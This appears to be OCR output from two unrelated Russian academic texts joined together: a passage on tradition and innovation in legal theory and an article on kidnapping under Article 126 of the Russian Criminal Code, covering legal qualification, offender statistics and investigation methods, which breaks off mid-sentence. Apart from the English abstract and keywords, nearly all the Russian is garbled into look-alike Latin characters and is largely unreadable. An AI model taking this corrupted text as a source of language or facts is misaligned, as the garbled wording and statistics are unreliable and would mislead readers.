KOHIIETITaX, KOTOPBIE HE TOIBKO OTPAKAIOT UCTOPUUYECKYIO MPEEMCTBEHHOCTh, HO U CTIIOCOOHBI
aJalTUPOBaThCSl K BbI30BaM BpEMEHU. JlaHHOE MCCIENOBAaHUE HANPABICHO HA aHAIU3
COOTHOILICHMSI TpaJuUMi M HOBALMK B IOPUIMYECKOM MBICIM, & TaKKe Ha BbIIBICHUE
MeXaHU3MOB (POpMUPOBAHMS HOBBIX UIEH Uepe3 CUHTE3 UCTOPUUYECKOIO OIbITa U COBPEMEHHBIX
TEOPETUUECKUX TIOJXOJIOB.

Oco0yr0 3HAaYUMOCTh OSTa TeMa MPHOOpPETaeT B YCJIOBUAX TJI0O0AIM3alMM, KOTaa
MIPAaBOBBIE CHCTEMBI CTAIKUBAIOTCS ¢ HEOOXOAMMOCTHIO B3aUMOJICHCTBUS M B3AUMHOTO BITUSIHUS
[1]. MImMeHHO B ATOT NEpUOJ pPA3BUTHE CPABHUTEIHLHOTO MPABOBEACHUS, HCCIEAYIOLIETO
YHUBEpCAIbHbIC W HAIMOHATBHO OOYCIIOBIICHHBIC ACIMEKThI MPABOBBIX HICH, CTAHOBHUTCS
KJIFOYEBbIM HMHCTPYMEHTOM [UIsl TIOCTPOEHUS HOBBIX TEOPH, CIIOCOOHBIX YUUTHIBATh Kak
JIOKaJbHBIC, TaK U II00ATbHBIC TCHICHIINH.

CoBpeMeHHasl opuaMyecKas Hayka, kak B Poccum, Tak u 3a €€ mpeaemamu, peaKo
JEMOHCTPUPYET PpAJAMKaJbHO HOBBIE WJAEM WIM OpPUTHHAJIBHBIE  METOA0JIOTMYECKUe
KOHCTpyKUMH. HampoTuB, oHa 3a4acTyio MpeObIBAC€T B COCTOSIHUM HEYBEPEHHOI'O IOHCKa
00pasloB U TMOJpaKaHWs, KOTOphle MO Obl BBITISAAECT, HOBaTopcku. b.H. Uwmuepun
yKa3bIBal, YTO B UCTOPUU MBICIH HAOIIIOJAETCsl MMOCTOSHHOE BO3BPAIICHUE K YK€ M3BECTHBIM
BO33PEHMSIM, OOYCIIOBIEHHOE HEOOXOAMMOCTBIO HMX TIEPEOCMBICIICHHS IO Mepe TOro, Kak
YeJI0BEYEeCKUN YM HCCIIENyeT Pa3HOOOpa3HbIe aCeKThl ONPeAeTIEHHOTO SIBJICHHUS: «...Mbl BUIUM
B HCTOPUM MBICIIA TIOCTOSHHOE TIOBTOPEHHE OJHMX M TEX KE BO33PEHUI, KOTOpPbHIE
BO3BPAIIAIOTCS B CHITY HEOOXOUMOCTHY [2].

AHamm3upysi COBPEMEHHBIE IOPHIMYECKUE KOHIEMNIMH, HauOojiee 3HAYUMBIM
CTaHOBHTCSI MOMEHT MX MOBTOpPEHUsI, 0 KOTopoM nucan YuuepuH. OH 0COOEHHO TPOSIBIISIETCS B
KOHTEKCTE H3Y4YEHHUS! COOTHOILEHHS HCTOPHYECKOIO HAclEeIus U COBPEMEHHBIX TEHACHIMM,
MIPEEMCTBEHHOCTH M HOBHU3HBL. BaXHO NOJYEpPKHYTh, YTO IOBTOPEHUE HJIEH, €CIU OHO
MIPOU3BOJUTCS T0OPOCOBECTHO, MO3BOJIET IIyO)KE MOHATH TE€ YCIOBUS U MPUYMHBI, KOTOPBIE
00YCIIOBIMBAIOT aKTyalIHU3allMI0 HHTEpPEca K OMpeIeIEHHBIM aCleKTaM UCCIelyeMOoro mpeaMeTa
B Pa3HbBIEC HCTOPUUECCKHUE TTEPHOJIBL.

[ToTeHmman coBpeMEHHOW MPAaBOBOM MBICIM PACKPHIBACTCS, TJIABHBIM 00pazoM, yepes
OTIOPY Ha TPAJUINH, OCOOEHHO TIOCPEICTBOM HCTOPUKO-(DHITIOCO(CKOI PEKOHCTPYKIIMU CMBICIIA
Y 3HaYeHUs uJieil. Ba)XHO HE TOJIBKO HCCIIeI0BATh ABOJIOIMIO UACH (TUaXpPOHHBIN MOIX0/), HO U
MPOBOJUTh MX CHHXPOHHOE CpaBHEHHWE. 3/eCh OrPOMHYIO pOJIb WIPAeT pPa3BUTHE
CPaBHUTEIILHOTO TPABOBEICHUS, OPUEHTUPOBAHHOIO HE TOJIBKO HAa KAaTErOPUM IPaBOBBIX
CHUCTEM WJIM MHCTUTYTOB, HO U Ha aHAJIN3 WJCH M KOHIENTOB. Takum 00pa3oMm, CpaBHUTEIIbHAS
FOPUCTIPYICHLUS JTOJIKHA 3aHUMAThCS U3YYEHHEM HJIeH, KOTOpbIE Pa3BUBAIOTCS B Pa3IMYHBIX
MPABOBBIX KYJIBTYpax MUpa.

[IpaBoBBIE KOHIIECTIINH, pa3padaThiBaéMble B Pa3HBIX CTpaHaX, SBISIOTCS OTPaKCHHEM
HAallUOHAJIBHOM  WHTEJUIEKTYAIbHOM M JYXOBHOM  KYyJIbTYpbl, C €€  YHUKAJIbHBIMHU
XapaKTePUCTUKAMH. DTO BUJIHO JaXe B TOAOOpE S3BIKOBBIX TEPMUHOB. Takue KOHIIETTHI,
HECMOTPsI Ha CXO’KECTh 3BYYaHUs, OTPAXKAIOT Pa3INYHbIM IUBIIN3ALMOHHO-KYJIBTYPHBII OIBIT
U COLIMOKYJIBTYPHBIE OCOOEHHOCTH 3IOXH, YTO TMO3BOJISET TOBOPUTH O CBOCOOPa3HOM reorpadun
HayuyHbIX uaeil. CpaBHUTEIbHBIA AHAIU3 MPABOBBIX WIECH CTAHOBUTCS BAXKHBIM HTAIOM JUIS
BBISIBIICHHSI TEX AJIEMEHTOB, KOTOpPbIE 00JaIal0T YHHUBEPCAILHBIM XapaKTePOM, BBIXOMSIINM 32
paMKH HallMOHAJILHBIX U BPEMEHHBIX OCOOEHHOCTEM.

Hanpuwmep, TpamunmonHas 3anagHoeBporieiickas (uinocodus mpasa, A0IT0e BpeMs
BOCIIpUHMMAeMas. KaKk  yHUBEpCaJbHas, CErOJHA  BBINNIAUT JIMIIb  PErHOHAIBHON
MHTEpIIPETalMel MHMpPOBOrO oOmblta. IMnew, JMIMIEHHBIE CBA3M C MX TE€HE3MCOM, MOIYT
UCIOJIb30BaThCS IPOU3BOJIBHO, 3a4aCTYIO B YIIEpO MX HCTUHHOMY 3HAUEHHIO. SIpKUM ITPUMEPOM
3[1€Ch CIIY)KHT KOHIICTIIHUS «MSTKOro mpasay (SOft law), Bo3uukias Bo Bropoii monoBuHe XX
Beka [4] mox BimsiHueM npaBoBbIX KyabTyp CIIA n BenmukoOputanun. MHOTHE eBpoIeiCKUe 1
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POCCHIMCKHE IOPHCTBI BOCIPHUHSIM 3Ty MICKH Kak IOJHOLEHHYK) TEOPETHUKO-IIPABOBYIO
KOHCTPYKLHIO, YTO I'PO3UT JEBAJIbBALIMEN CaMOr0 IOHATHA IpaBa B TPAJULUAX POCCUHCKON U
€BPOIICICKON MPaBOBOM KYJBTYPBHI.

HoBu3Ha npaBoBBIX MAEH BO3MOKHA JIMIIbL IPU UX KPUTUYECKOM OCMBICIEHUH, YUETE
HCTOPUYECKOT0 KOHTEKCTa M CBA3M C TpamunmsaMu. IIpoctoe BBeneHHME MOIHBIX TEPMHUHOB,
OCHOBaHHBIX Ha UJICOJIOTHUECKUX WM KYJIBTYPHBIX TPEHAAX, HE CO34AET yCTOMYMBOM NIPaBOBOM
Teopud. B 3TOM KOHTEKCTe HIEU ECTECTBEHHOro IpaBa, OCOOCHHO B HMHTepHpeTanusx P.
HItammnepa, K. bepréoma u I'. KanropoBuua, 3aciayxuBaroT ocoboro BHMMaHus. OHHU
Hpeasaraayd pa3iInyHble TPAKTOBKU I1PaBa, aKIIEHTUPYsI €r0 HCTOPUUECKYIO O0YCIIOBIEHHOCTb U
HEOOXOAMMOCTh B3aUMHOIO TIpH3HaHusA [3].

Takum o0pa3oMm, ropuauueckas Hayka [6] oOs3aHa yYMTBHIBAaTH KaK HCTOPHUYECKYIO
IIPEEMCTBEHHOCTb, TAK U YHUBEPCAJIbHBIE ACMEKThl IMPABOBBIX HNOHATHHA. DTO IMO3BOJISIET HE
TOJBKO BBIIBUTH OrPAaHUYEHHS NPEKHUX IOJIXOJIOB, HO M (OPMYJIUPOBATh HOBBIE
TEOPETUYECKHE KOHIETILINH, CIOCOOHBIE CTaTh aKTYaJIbHBIMU B COBPEMEHHBIX YCIIOBUSIX.

IOpunnueckas Hayka [7], HaxXoOAChb Ha IIEPECEUYEHHMHM HCTOPUU U COBPEMEHHOCTH,
HyXJaeTca B yIIyOJIEHHOW TeopeTHueckol pedrekcur, KoTopas IO3BOJSIET BBIIBUTH
BHYTPEHHIOIO CBSI3b MEX1Y MPOLUIBIM M HacToAIMM. BaxueimM ycnoBueM Uit pa3paboTKu
HOBBIX ITPABOBBIX HJIEH SIBIAETCS UX CBA3b C HCTOPUYECKUM KOHTEKCTOM, INTyOOKOE IOHUMAHNE
UX IPOUCXOK/ICHHS U aJjanTalus K COBpeMEeHHbIM notpedHoctsM. Unen [5], hopmupyemsbie 6e3
yuéTa WX TEHe3uca U COLUUAIbHOW OOYCIOBIEHHOCTH, PUCKYIOT CTaTh JIMIIb BPEMEHHBIM
TEOPETUUECKUM SIBJICHUEM, HE OKA3bIBAIOLLIMM 3HAYUTEIIBHOIO BIIMSHUSA HA IIPAKTHUKY.

AHanmu3 CyIIECTBYIOIIMX KOHUENUUI IOKa3bIBa€T, YTO HOBHM3HA HE JOJKHA OBITh
camornenpto. E€ ocHOBa — 3TO HayuyHas JOCTOBEPHOCTb, TEOPETHUYECKass OOOCHOBAHHOCTh U
CHOCOOHOCTh K MPUMEHEHUIO B KOHKPETHBIX MPaBOBBIX cucteMax. CoeMHEHNE NCTOPUYECKUX
TPAaAULUI U COBPEMEHHBIX METOJOJIOTMYECKUX IOJXOI0B OTKPHIBAET HOBBIE TOPHU3OHTHI IS
pa3BUTHS IOPUAMYECKON HAyKH, MOBBIIIAs €€ 3HAUMMOCTh B PEIICHUH aKTyalbHBIX BOIPOCOB
o0I1ecTBa U rocyapcTBa.
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AHHOTAIINA

[Toxumenne dvenoBeka (ct. 126 YK P®) mpencraensier coboii omHO M3 Hambosee
OMACHBIX TMPECTYIUICHWH, HapylIalonmx (QyHIaMEHTAIbHBIE IMpaBa W CBOOOMABI JIMYHOCTH,
KOTOpbI€ TapaHTupoBaHbl Kaxaomy Koncturynuenn P®. [lo cTtaTMcTMYECKHMM JaHHBIM YHUCIIO
«IIPOMAXK» €KETOHO BO3pACTaeT. B CBSI3U C 3TUM aBTOPOM OBLIH PacCMOTPEHBI OCOOCHHOCTH
KBaJIM(PUKALIMU 3TOTO TMPECTYIUICHUS, KPUMUHOJIOTMYECKHI MOPTPET BMHOBHOTO M METOJMKA
pacciieIoBaHus JaHHOW KaTeropuu JAedl.
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KiioueBbie cJioBa: INOXHUIICHHUE YCIIOBCKA, HC3aKOHHOC JIMIIICHHC CBO6OILBI,
KpI/IMI/IHOJ'IOFI/I‘-ICCKI/Iﬁ MOPTPET MOXUTHUTCIIA, MCTOAUKA PACCIICAOBAHUA ITOXUITICHHS .

Abstract

Kidnapping (Article 126 of the Criminal Code of the Russian Federation) is one of the
most dangerous crimes that violate the fundamental rights and freedoms of the individual, which
are guaranteed to everyone by the Constitution of the Russian Federation. According to statistics,
the number of "missing persons" increases annually. In this regard, the author considered the
specifics of the qualification of this crime, the criminological portrait of the perpetrator and the
methodology of investigation of this category of cases.

Keywords: kidnapping, unlawful imprisonment, criminological portrait of the kidnapper,
methods of investigation of the abduction.

I[lo nocnemnum  nmawebiM 3a 2024 ron, B Poccuiickoit ~ ®enepauun
MPaBOOXPAHUTEIBHBIMU OpraHaMy OBbLIO 3aperMCTpUpPOBAaHO 14 ThICAY CilyyaeB MOXUILEHMS
mronieil. Bompoc kBanmmguKauy NTaHHOTO TPECTYIUICHUS SIBIAETCSA MO Ced JEHb MpPEAMETOM
IOPUANYECKUX JMCKYCCHM KacaeMoO OTCYTCTBHsS caMoil JeuHHLMHM, TpyJHOCTEH MpH
ompe/ieNieHN OOBEKTUBHOM M CYOBEKTHBHOM CTOPOHBI, a Takke AU (epeHIranuy CMEXHBIX
COCTaBOB MPECTYIUICHUH.

Crpyxtypa cratbu 126 YK P® coctouT u3 Tpex 4acreil: | onuceiBaeT OCHOBHBIN COCTaB
npectymieHus, B To Bpems kak |l u Il xapakTepu3yroT KBaaudHUIMpOBaHHBIE W 0CO00
KBaIM(UIIMPOBAHHBIE COCTABBI COOTBETCTBEHHO [ 1].

PonoBeIM 00BEKTOM aHAIM3UPYEMOro COCTaBa MPECTYIUICHUS SIBJISAETCA JIMYHOCTD,
HETIOCPEICTBEHHBIM — JIMUHAsA (pru3ndeckas cB0OOA JIMIIA TO €CTh CAMOCTOSATEIBHBIA BEIOOP UM
MecTa npeObIBaHUs U IeHCTBUI B peanbHOM IpocTpaHcTBe. Hapsiay ¢ ykazaHHBIMU OOBEKTaMH,
MOYKHO BBIJICTIHTH (DaKyJIbTaTHBHBINA OOBEKT B BUE )KU3HH U 3I0POBBS YETIOBEKA.

JeduHuims «oxXuIeHne YelloBeKay, Kak yke ObllIo OTMEUEHO paHHEe, He 3aKpeIuieHa
B JCWUCTBYIOLLIEM YTOJIOBHOM 3aKOHOJATENILCTBE, B CBSI3U C YEM HMMEIOT MECTO pa3/IMuHbIC
BAapUAHTHI €€ TPakTOBKU. Tak, Jlamuu M. B. onpenenser naHHbI TEPMUH KaK SKCIUIMLUATHBIA U,
HaNpOTUB, JJATEHTHBIH 3aXBaT UHAMBU/A C JATBHENUIIINM €T0 MEPEMEIIEHUEM, OCYILIECTBIISIEMbIM
MIOCPE/ICTBOM IIPUMEHEHHSI HACUIILCTBEHHBIX METOJI0B MJIM MaHUITY LUK (oOMaHa) [2, ¢.53].

B cBoro ouepenp, Yimakosa E. B. npeayaraer HHyr0 HHTEpIIpETaLAO, B COOTBETCTBHUH C
KOTOPOM paccMaTpuBacMoe JIesTHHE IIPEJCTaBIseT COo00M HE3aKOHHOE HACHIBCTBEHHOE
3aBJaJIeHe UHIUBUIOM, COIIPOBOKAAIOIIEECS CKPBITHIM MEPEMEIIECHUEM C 1IETIbI0 U3BJICUEHUS
OT MOCJIEIHEr0 MaTepUaAJIbHOM BBITO/Ibl WJIM MHOTO BUAA MOJIB3HI [3, . 20].

Opnako, 1Mo HameMy MHEHUIo, TpakToBka E. B. YmiakoBoil mpencTaBisieTcsi U3IUIITHE
OrPaHMYEHHOM B CBA3U C HAIMYMEM Ha IIPAKTUKE PAa3IMYHBIX MOTHBOB COBEPIICHUS TOXUIICHUS
YyeJioBeKa (HalpuMep: peBHOCTh, MECTB).

[Tnenym BepxoBroro Cyna P® B IloctanoBnenuu ot 24.12.2019 r. Ne 58 «O cyne6Ho#
MPAaKTUKE IO JejlaM O MOXHILEHUM YeJIOBeKa, HE3aKOHHOM JIMIIEHUH CBOOOJBI M TOPrOBIIE
JIOABMU» Ppa3bsICHWI, 4YTO IIOJ <«IIOXUIIEHHMEM» IIOHMMAETCsS CIEAYIOIas COBOKYIIHOCTb
JNECUCTBUIM:

— HE3aKOHHBIN 3axBaT (TallHOE WM OTKPBITOE 3aBJIa/ICHUE >KUBBIM UYEJIOBEKOM
HOMMMO €T'0 BOJIM WJIH KETaHUs),

- HE3aKOHHOE IepeMelleHne (M3MEHEHHE MecTa HaXOKAEHHs IMOTepIEBIIEro,
KaK C HCIOJIb30BaHHEM JII00OT0 BHJA TPAaHCIIOPTHOTO CPENCTBA, TaKk M 0e3
TaKOBBIX ),

— HOCNEAYIONIee ylepKaHUe MOXHUIIEHHOTO B IENSX COBEPIICHHUS JAPYroro
NPECTYITHOTO TOCATaTeNIbcTBA JUOO MO WHBIM MOTHBAaM, KOTOpHIE HeE
SBJIAIOTCS. OOSI3aTENIbHBIMM JUIsl KBAIM(HUKALUMK COJCSIHHOTO 3HAUCHMs HE
UMEIOT.
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[To 3akoHOIATEIBFHON KOHCTPYKIIMU OOBEKTHBHON CTOPOHBI OCHOBHOW COCTaB SIBJISICTCS
¢dopMasibHBIM U Kak pasbsicHuI Ilnenym BC P® cunTaercs OKOHYEHHBIM C MOMEHTa aKTa
3axBaTa M Hayaja InepeMmelneHus. Eciau nepememeHne NMOTepneBIIMHA OCYIIECTBUI CaM IOJ
neWcTBueM oOMaHa — € MOMEHTa 3axBaTa W Hayala MPUHYIUTEIBHOTO MEpeMENIeHUs 00
HayaJia yepxanus [4].

CoryiacHO 3aKOHY, COCTaBbl MPECTYIUICHHUS, TpeaycMoTpenHble yacTsiMu |l u Il crateu
126 YK PO, sBisrorcs dhopManbHO-MaTepruasibHbIMA. OHHM CUUTAIOTCS OKOHYEHHBIMH JIHOO B
MOMEHT TIepeMEIleHHsI MOTEPIEBIIEro B JAPYroe MecTo, JMOO B MOMEHT, KOIJia B Ipolecce
MEPEeMEIICHHS] PUYNHSIETCS JIETKUH WM CpeAHEH TSHKECTH BpeIl €ro 370poBbI0 (IyHKT "B
gactu Il craten 126 YK P®), 1ubo korma B pe3yinpTaTe HEOCTOPOKHOCTH HACTYIAeT CMEPTh
MOTEPTEBIIIETO WIN UHBIE TsDKKHE rocneacTBus (myHKT "B" wactu |l ctaten 126 YK P®D).

Heobxomumo OTMETHTH, YTO TpH KBATM(HUKALUK JaHHBIX MPECTYIHBIX ACSHHUHA
3HAQUYUMbIMU OOBEKTHBHBIMU IPH3HAKAMHM MOTYT OBITH CHOCOO COBEpLICHHs MPECTYIUICHUs,
HarpHUMep, COBEPILIEHUE €ro IPYIIoi JIMIL 110 IpeABAPUTEIbHOMY croBopy (myHkT "a" yactu ||
cratbu 126 YK P®), a Takke npuMeHeHHe OpYyXKHsl WIN IPEIMETOB, UCTIOIb3YEMbIX B KaUeCTBE
opyxus (myHKT "r" yactu Il ctaten 126 YK PO) [1].

Ha mpakTrke cyzabl py NEpeMEIeHUH OTEPIIEBILIETO HA HE3HAYUTEIBHOE PACCTOSTHUE U
KpaTKOCpOYHOE  €ro  yAep)KaHue  MOTYT  OXapaKTepu30BaTb  MPECTYIUICHHE  Kak
MaJIO3HAUUTENbHOE, HO BONPOC 00 OOIECTBEHHOW OMACHOCTH PEINAEeTCsl B KaXKIOM Cilydyae
WMHIMBUAYAJIBHO UCXOJS M3 KOMIUIEKCHOIO aHalu3a BCEX (PAKTUYECKUX OOCTOSATENILCTB Jiena,
BKJIFOYasi MOTHUBBI, LIEJIA ¥ TMYHOCTHBIE XapAaKTEPUCTUKA BUHOBHOIO U ITOTEPIIEBLIETO.

CyOBeKTOM IPEeCTYIMHOro MnocsraTeiabcTBa, KBanpuippyeMoro mo crarbe 126 YK PO
BBICTYMaeT JII000e BMeHsieMoe (u3ndeckoe JMIo, AocTturuiee Bo3pacta 14 ner. Jlumo He
MIPUBJIEKAETCS] K YTOJIOBHOM OTBETCTBEHHOCTH I10 JAHHOW CTaThe MPH HAJTUYUN OOBEKTUBHBIX
KpPUTEpHEB, HANpHMep, OJIM3KOE POACTBO C MOTEPHEBUIMM U CYOBEKTUBHBIX KpPUTEPHEB,
HafpuMep, OTCYTCTBHE JIFOOBIX HU3MEHHBIX MOTHUBOB [5, c. 209].

B cBoro ouepenpb, cyObeKTHBHAsI CTOPOHA XapaKTEepU3yeTcs BUHOM B (opMme MpsMOro
YMBICJIA TO €CTh NPECTYITHUK OCO3HAET, YTO OCYIIECTBIISIET HE3aKOHHBIE 3aXBaT, IEPEMEIIEHUE U
yIAEepKaHUE MPOTUB BOJIX IPYTrOro JIULA.

Psin TpyaHOCTEN NpH YrOJIOBHO-TIPABOBOM OLIEHKE BO3HUKAET B CBSA3H C OTIPAaHUYCHHEM
MOXMILEHNUS 4YEJIOBEKAa OT MHBIX CMEXHBIX COCTAaBOB, HAIPUMEP, HE3AKOHHOIO JIMILEHUS
cBoOobI o ctathe 127 YK P®. Tak, mocnennuii oTamdaeTcsi OT MOXUIICHUS YEI0OBEKA MPEKIE
BCEro 10 OOBEKTUBHOM cTOpoHe. [Ipy HE3aKOHHOM JIMIIEHHHM CBOOOJBI YEJIOBEK HE
MOZIBEPraeTCsl NEPEMEIICHHUIO U3 MECTa HAX0XKJIEHUs, HO JIMILIAETCsl CBOOO/BI NepeIBUKEHUs 03
HQJIMYMS HAa TO YCTAHOBJICHHBIX 3aKOHOM OCHOBaHMI (HampuMep, BHUHOBHBIM 3alMpaeT
MOTEPTICBIIIETO B KBApTHpE, Tapaxe u T.1.) [6, ¢. 416].

BakHBIMH OTIIMYMSAMH SIBIISIIOTCS TAKO)Ke BO3pacT cyobekTa (1o crarbe 126 YK PO — 14
net, o ctarbe 127 YK P® — 16 ner) u Ham4ue CreruaibHOr0 OCHOBAHUSI OCBOOOKICHHUS OT
YIOJIOBHOW OTBETCTBEHHOCTH 3a IIOXMILEHHE uelnoBeka. B mnpumeuanun k cratbe 126
IPEyCMOTPEHO, YTO €CIIU JIMLO J00POBOJIBHO OCBOOOXKIAET MOXUILEHHOTO M B €r0 JEWCTBUAX
HE IPOCIEKNUBAETCA MHOTO COCTaBa NPECTYIUIEHHs, TO OHO HE IPHUBIEKACTCS K YTOJIOBHOMN
OTBETCTBEHHOCTH [ 1].

[Ipobnema  KPUMHMHOJOTUYECKOW  XapaKTEPUCTUKU  JIMYHOCTH  TPECTYyITHUKA —
MOXUTUTEIIS 3aHUMAET LICHTPAIBHOE MECTO B HAYYHBIX MCCIEJOBAHUSX, [IOCKOJIBKY HMEHHO OHA
MO3BOJISIET BBUICHUTH TPHYHMHBL, TMOOYKIAIOIIUE JIMIIO K COBEPIICHHUIO MPOTHBONPABHOTO
NesHUSL, JlaJiee pacCMOTpUM ee 6oJiee MoapoOHoO.

CornacHo CTaTHUCTUYECKUM JaHHBIM [0 I0JOBOMY Ipu3Haky B 90% ciydaeB
MOXMILEHUE COBEPIIACTCA JIMIAMHU MYKCKOro moia. [IponeHTHOe COOTHOIIEHHE >KEHIIWH
Bappupyetca or 7 1o 10%, dyamie Bcero OHHM SIBISIOTCS COYyYacTHUI[AMU W HAJENSIOTCS
BTOPOCTENEHHON pPOJIbIO (IPUTOTOBUTH MHILY, COOOMIUTh HH(OPMALUIO O CyMME BBIKYyINa
poAcTBeHHMKaM U Jpyroe). OAHako, €cid peub HAET O JETAX, TO IPOLEHT IKECHIUH-
MOXUTHUTENILHULL Pe3KO Bo3pacTaeT 10 65%. Haubosee CKIOHHBI K COBEPILIEHUIO MPECTYIUICHHS
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nuua B Bo3pacte 25-35 net (54%), ot 36-45 ner (37%), y aun ot 18-24 net u nuiy ctapiue 45
JIET KpUMUHAJIbHASL aKTUBHOCTD JIOCTUTAeT Juilb 7-9% [7, c. 289].

Ananmu3 ypoBHs 00pa3oBaHMs JIMII, COBEPUIMBIIMX MOXMIIEHHE 4YEIOBEKa, MO3BOJIMUII
BBISIBUTH OTCYTCTBHE MPSIMOM 3aBHCHUMOCTH MEXAY €ro HajaudueM U (DakTOM COBEpIICHUS
npecTyruieHust. Uto kacaercsi ceMeMHOro nonoxkeHust, npuom3utesbio 40% npecTymHUKOB He
cocTosui B Opake. [logaBnstomiast 4acTh HAXOUIIACh B COKUTEILCTBE C KEHITMHAMU, TIPUYIEM,
45 % u3 Hux ObLTH B Opake, a 15% 1mbo pas3Benuch, 100 HAXOAWIKCH HA CTAJUU pa3Boja

CoctaB CyOBEKTOB, COBEPIIAIOMIMX MpecTymuieHuss mo crathe 126 YK P® ¢ Touku
3peHHsT MX NPOPECCHOHANBHOW JAEATENbHOCTH M OTHOLICHHA K TpPYyHLy, OTIMYaeTcs
3HAYUTENILHBIM TIPE00TaJaHueM JIUI], HE UMEIOIIMX CTAOMIBHOTO MCTOYHMKA JIOXO/a, a TaKKe
0e3pabOoTHBIX, JO0JSI KOTOPBIX COCTaBIseT 55 % — MMEHHO 3Ta KaTeropus JIMI[ Yalle BCETo
COBEpLIAET MPECTYIJIEHHUS C LIENbI0 MaTepHajbHOro oOoramieHus. B naHHyro rpynmy BXOIST
KaKk ¥ paHHEe CyIuMble JIMIA, TaK M YBOJEHHBIE C PabOThI rpakaaHe (C IMOJOKUTEIbHBIM
COLIMAJIBHBIM CTAaTyCOM) B CBSI3U C COKpAILEHUEM IITaTa, TUKBUIAIIUMEH TIpeanpusTus u T.4. 7,
c.291].

[Tpu onmcaHMy KPUMUHOJIOTHYECKOTO MOPTPETa JTHMYHOCTH MPECTYIMHHKA HEO0OXOIUMO
0c000 BBIACTUTH TICUXOJOTWYECKUH KpuTepuil. Y  OONBIIMHCTBA TOXUTUTENCH Tpu
UCCJIEJIOBAaHUSAX  ObUIM  OOHAPY)KEHBI  CIEAYIOIIME  NEQEKThL:  Pa3apakUTEITHHOCTB,
037I00JIECHHOCTh M arpecCMBHOCTb. OJTH JIFOAM, KaK IMPaBUJIO, UCHBITHIBAIOT MOTPEOHOCTH B
KOH(ITUKTAaX U JaKe UCKYCCTBEHHO MOTYT CO3/IaBaTh KPUMUHAIILHBIE CUTYaINH [8].

[Mpexne uyem mMmepedTH K PACCMOTPEHUIO METOIUKU paccielOBaHUS MPECTYIUICHHUS,
kBamduimpyemoro mo cratee 126 YK P®, oTMeTMM HEKOTOpBIE W3 OOCTOSTEIBCTB,
TOJUIEKAIINX HEMOCPECTBEHHOMY JI0Ka3bIBAHUIO: JAHHBIE O MOTEepHeBIeM (X KOJIMYECTBE),
BpeMsi U MECTO, YCTaHOBJICHHE (DaKTa COBEPIICHUS TPECTYIUICHHUS TPYIIOW JHIl (OXHUM
JIMLIOM), CIIOCOOBI COBEPILICHHS JESHUS, TTOTCHIIUAIbHBIE MOTUBBI TMOXHUIIIEHUS, UCTIOIb3yeMbIe
OpyAMs U MPEIMETHI, HATMUME UHBIX TSKKUX nocyeacTsuit [9, c. 378].

[lepBoHavanbHBI 3Tam pacciaeoBaHUS TOXUIICHUS YeJIOBEKa XapaKTepusyercs
MUHHMAJTBHBIMA WCXOJHBIMH JIaHHBIMH W JePHUIUTOM BpeMeHU. VCXomHyro WH(OpMAIIO
YCJIOBHO MOYKHO TO/IPA3/ICNTh Ha TPH BUJA: 1) CBECHHS O COBEPUICHUH UMEHHO MOXHUIICHUS
4yejoBeKa (CBUIETENM, TpeOOBaHHE O BBIKYINE); 2) MHPOpPMALUS O BO3MOXKHBIX YIpo3ax WU
JOPYrUX MPECTYIUICHUSAX, MPEAIIECTBYIOMIUX MOXUILIEHHIO; 3) cBeleHHs 0 (paKTe MCUe3HOBEHUS
00 UMEETCs JIUIIb 3asiBIICHHE (TIPEATION0KEHNE) POIICTBEHHUKOB.

CrnenoBarenb, TOTYYUB UMEIOIIMECS CBEICHUsS (COOOIICHNE MPECTYITHUKOB, 3asBICHUE
MOTEPIIEBILIET0, €T0 POJCTBEHHUKOB), IPUHUMAET pPEIIEHHE O BO30YKICHUHU YrOJIOBHOIO Jejia U
oTpesieNisieT HeOOXOUMbIE CIIEACTBEHHBIE NEHCTBUS, BKIIIOYAs OCMOTpP MECTa MPOHCIIECTBUS,
KOHTPOJIb U 3aIIUCh [IEPETOBOPOB, AOMPOC IMOTEPIEBLIETO U CBUJIETENEH; OCBUIETEILCTBOBAHUE;
3aJiepKaHue MPECTYITHUKOB M JIMYHBIA OOBICK; JOMPOC MOI03PEBAEMOr0; MPOU3BOACTBO OOBICKA
Y BBIEMKH; TIPEIBSBIICHIE JJIs1 OTIO3HAHUS JKUBBIX JIHIL, ipeameToB [ 10, c. 104].

OCOOEHHOCTh OCMOTpPA MECTa MPOKMCIIECTBUS B JAHHOM CITy4ae 3aKII0YaeTCsl B HATMYUU
MaTepUANTbHBIX YJIUK B MHUHUMAQJIBHOM KOJIMYECTBE. ODTOT OCMOTpP JOJDKEH COUYETaThCs C
JCUCTBUSIMU TI0 TIOUCKY U 33JICPKAHUIO TIPECTYITHUKOB 110 «TOPSIUM)» CIICTAM.

[Ipu nonpoce noTepreBUIero WK CBUAETENS HEO0X0AUMO B KaXKIOM ClIydae YUUTHIBAThH
TIIyOMHY €ro TCHUXMYECKHX TMEPeXHBAaHUNH M Te (DAKTOPBI, KOTOPHIE MPEAONPEACISIOT €ro
NICUXUYECKoe cocTosHue. [l mojydeHus: MpaBIUBBIX MOKa3aHUM HEOOXOIUMO COXpPaHSITh B
TailHe WX ajjpeca U MecTa padoThl, a TAKKe MPEAYNPEAUTh POACTBEHHHKOB MOTEPIECBILIETO O
BO3MOXHBIX YTp0O3aXx CO CTOPOHBI IMojo3peBaeMbiX. Cpeau TEeXHUUECKUX CPelCTB (HUKCcAlUU
MOKa3aHUK Hapsagy ¢ JAukTooHOM  1enecoobpa3sHO, 1O  MHEHHIO  COTPYAHUKOB
MIPaBOOXPAHUTENILHBIX OPraHOB, OCYIIECTBIISITh HX 3allUCh HA BUACOIUIEHKY C IIEJIbIO
MIPEIOTBPAIICHHUS BO3MOXKHOCTH UX U3MEHEHUSI.

JlaHHble, TOTy4YeHHBIE BO BpeMs JOIMPOCOB, CIEAYET HEMEIJICHHO HCIOJIL30BATh IS
JIONIOJIHEHUS] OPMEHTHPOBOK U aKTUBHOI'O IIOMCKA MPECTYIHUKOB. 3a/iepKaHue M10/I03pEBAEMOT0
MOKET TPOUCXOJUTh KaK TOCJe OCBOOOXKIEHHS MOTEPIIEBIIErO, TaK M KOIrJa OH BCE eIl
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HaxoJuTcs y noxuturened. B mocneaHeM ciydae mepen Ha4yajaoM 3aJiepyKaHusl OLEHUBAIOTCS
MOTCHIIMANBHBIE PUCKM U pa3padaTbiBacTCs [ETalbHBIA IUIAaH ONEpalud, IOCIe Yero
3a/IepKaHUE TPOBOJUTCS C MAKCHUMAJIBHOM OCTOPOKHOCTBIO M TINATEIBHOW KOOpIWHALUEH
JeUCTBHI 11 oOecrieueHus Oe3omacHocTy notepresiiero. [locie 3aaepikanus mMmo103peBaeMoro
